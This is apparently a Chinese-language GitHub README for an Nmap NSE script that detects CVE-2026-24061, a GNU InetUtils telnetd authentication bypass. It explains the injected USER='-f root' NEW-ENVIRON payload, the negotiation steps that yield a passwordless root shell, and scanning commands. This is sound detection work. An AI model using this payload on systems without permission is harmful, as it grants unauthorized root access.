HD0x01/CVE-2026-24061-NSE
GitHub: HD0x01/CVE-2026-24061-NSE
用于检测GNU InetUtils telnetd认证绕过漏洞(CVE-2026-24061)的Nmap NSE脚本,通过完整Telnet协议协商注入恶意USER环境变量验证是否可无密码获取shell。
Stars: 0 | Forks: 0
# CVE-2026-24061 — GNU InetUtils telnetd 身份验证绕过
## Nmap NSE 检测脚本
[](https://nmap.org/nsedoc/)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-24061)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-24061)
[](https://nmap.org/book/man-legal.html)
## 概述
此 Nmap NSE 脚本用于检测 **CVE-2026-24061**,这是一个存在于 **GNU InetUtils telnetd** 版本 **1.9.3 到 2.7** 中的身份验证绕过漏洞。
通过在 Telnet 选项协商期间发送格式为 `-f ` 的精心构造的 `USER` 环境变量,未经身份验证的攻击者可以获得具有指定本地用户(包括 `root`)权限的 shell —— **无需提供任何密码**。
## 漏洞详情
| 字段 | 值 |
|-----------------|-----------------------------------------------|
| CVE ID | CVE-2026-24061 |
| 受影响版本 | GNU InetUtils telnetd 1.9.3 – 2.7 |
| CVSSv3 评分 | **9.8 严重** |
| 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 类型 | 身份验证绕过 (CWE-287) |
| 披露日期 | 2026-01-01 |
### 工作原理
GNU InetUtils `telnetd` 使用 Telnet **NEW-ENVIRON** 选项 (RFC 1572) 在协商阶段接收来自客户端的环境变量。随后会使用这些变量调用 `login(1)` 程序。
该漏洞的产生是因为 `telnetd` 在将 `USER` 变量传递给 `login` 之前未对其进行净化处理。Linux 上的 `login` 程序接受 `-f ` 标志,意为“预认证,不检查密码”。通过 NEW-ENVIRON 载荷注入 `USER="-f root"`,攻击者可以完全绕过身份验证。
```
Client → Server: IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
Server response: spawns login -f root → root shell, no password required
```
## 脚本详情
| 字段 | 值 |
|-------------|----------------------------------------------------|
| 文件名 | `telnet-vuln-cve-2026-24061.nse` |
| 分类 | `vuln`, `exploit`, `intrusive` |
| 端口 | TCP/23 (telnet) |
| 测试环境 | Nmap 7.94 / 7.98, Windows & Linux |
### 检测方法
该脚本执行 **完整的 Telnet 协商**,镜像真实 `telnet -a` 客户端会话的确切字节序列(从 Wireshark 捕获中重构):
1. 接收服务器的开放 IAC 突发数据(`DO TTYPE`, `DO TSPEED`, `DO ENVIRON`, …)
2. 回复完整的客户端能力公告(`WILL TTYPE`, `WILL LINEMODE`, …)
3. 完成子协商轮次(`SB TSPEED`, `SB ENVIRON`, `SB TTYPE`)
4. 在 NEW-ENVIRON IS 载荷中注入精心构造的 `USER='-f '`
5. 完成 `WILL ECHO` / `DO BINARY` / **`WONT LINEMODE`** 序列
*(关键 —— 若无此步骤,telnetd 无法完成 PTY 设置)*
6. 检查服务器是否 **没有** 发出密码质询而直接发送登录 shell 提示符
**结果状态:**
| 状态 | 含义 |
|------------------|----------------------------------------------------------------|
| `EXPLOIT` | 收到 shell 提示符 —— 绕过已确认 |
| `LIKELY_VULN` | ENV 载荷被接受,无密码提示,但无 shell 提示符 |
| `NOT_VULN` | 出现密码提示,或协商未完成 |
## 安装
### Linux
```
# 复制到 Nmap scripts 目录
sudo cp telnet-vuln-cve-2026-24061.nse /usr/share/nmap/scripts/
# 更新 script database
sudo nmap --script-updatedb
```
### Windows
```
# 复制到 Nmap scripts 目录(如需请调整路径)
copy telnet-vuln-cve-2026-24061.nse "C:\Program Files (x86)\Nmap\scripts\"
# 更新 script database(以 Administrator 身份运行)
nmap --script-updatedb
```
## 用法
### 基本扫描(默认用户:root)
```
nmap -p 23 --script telnet-vuln-cve-2026-24061
```
### 指定不同用户
```
# Short form
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args user=kali
# Medium form
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args telnet-user=kali
# Fully qualified
nmap -p 23 --script telnet-vuln-cve-2026-24061 \
--script-args telnet-vuln-cve-2026-24061.user=kali
```
### 扫描 IP 范围
```
nmap -p 23 --script telnet-vuln-cve-2026-24061 192.168.1.0/24
```
### 详细 / 调试输出
```
nmap -p 23 --script telnet-vuln-cve-2026-24061 -v # verbose
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d # debug
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d2 # full hex trace
```
## 示例输出
### 易受攻击主机
```
PORT STATE SERVICE
23/tcp open telnet
| telnet-vuln-cve-2026-24061:
| VULNERABLE:
| GNU InetUtils telnetd Authentication Bypass
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2026-24061
| Risk factor: Critical CVSSv3: 9.8
| Description:
| The telnetd service in GNU InetUtils (1.9.3 - 2.7) allows
| authentication bypass via a crafted USER environment variable.
| Sending '-f ' results in an unauthenticated login shell.
| Extra information:
| Authentication bypassed: shell prompt received after injecting
| USER='-f root' -- no password challenge was presented.
| References:
| https://nvd.nist.gov/vuln/detail/CVE-2026-24061
| https://github.com/JayGLXR/CVE-2026-24061-POC
|_ https://github.com/SafeBreach-Labs/CVE-2026-24061
```
### 非易受攻击主机
```
PORT STATE SERVICE
23/tcp open telnet
```
*(无脚本输出 —— NOT_VULN 根据设计保持静默,遵循标准 Nmap 惯例)*
## 脚本参数
| 参数 | 别名 | 默认值 | 描述 |
|---------------------------------------|------------------------|---------|------------------------------|
| `telnet-vuln-cve-2026-24061.user` | `telnet-user`, `user` | `root` | 通过 `-f` 注入的用户名 |
## 技术说明
### 为什么 WONT LINEMODE 至关重要
GNU InetUtils `telnetd` 使用 Linemode 协商 (RFC 1184) 来确定终端 I/O 模式。服务器在协商早期发送 `DO LINEMODE`,客户端初始回复 `WILL LINEMODE`。在 ENV 载荷交换后,服务器发送 `WILL ECHO`,随后是 `DO BINARY`。此时客户端 **必须** 回复 `WONT LINEMODE` 以发出字符逐一模式的信号 —— 只有这样 `telnetd` 才能完成 PTY 设置(`ioctl TIOCSWINSZ`)并派生 `login`。如果没有这一步,服务器会记录 `peer died: Inappropriate ioctl for device` 并断开连接。
### NSE Socket API
Nmap 的 NSE socket API 与标准 Lua socket 约定不同:
```
-- Nmap NSE (correct):
local status, data = sock:receive_bytes(1)
if status == true then -- data is the received string
```
## 参考文献
- [NVD — CVE-2026-24061](https://nvd.nist.gov/vuln/detail/CVE-2026-24061)
- [JayGLXR 提供的 PoC](https://github.com/JayGLXR/CVE-2026-24061-POC)
- [SafeBreach-Labs 提供的 PoC](https://github.com/SafeBreach-Labs/CVE-2026-24061)
- [RFC 1572 — NEW-ENVIRON](https://www.rfc-editor.org/rfc/rfc1572)
- [RFC 1184 — Linemode](https://www.rfc-editor.org/rfc/rfc1184)
- [Nmap NSE 文档](https://nmap.org/book/nse.html)
## 免责声明
此脚本仅用于**授权的安全测试和研究目的**。
作者不对因使用此工具而导致的任何误用或损害负责。
在测试您不拥有的系统之前,请始终获得明确的书面许可。
标签:CISA项目, CVE-2026-24061, CWE-287, GNU InetUtils, Linux 安全, NEW-ENVIRON 选项, Nmap NSE 脚本, Python3.6, rizin, Shell 获取, Telnetd, 云存储安全, 关键漏洞, 安全漏洞检测, 提权, 漏洞利用 (Exploit), 环境变量注入, 编程工具, 网络扫描, 身份验证绕过, 远程代码执行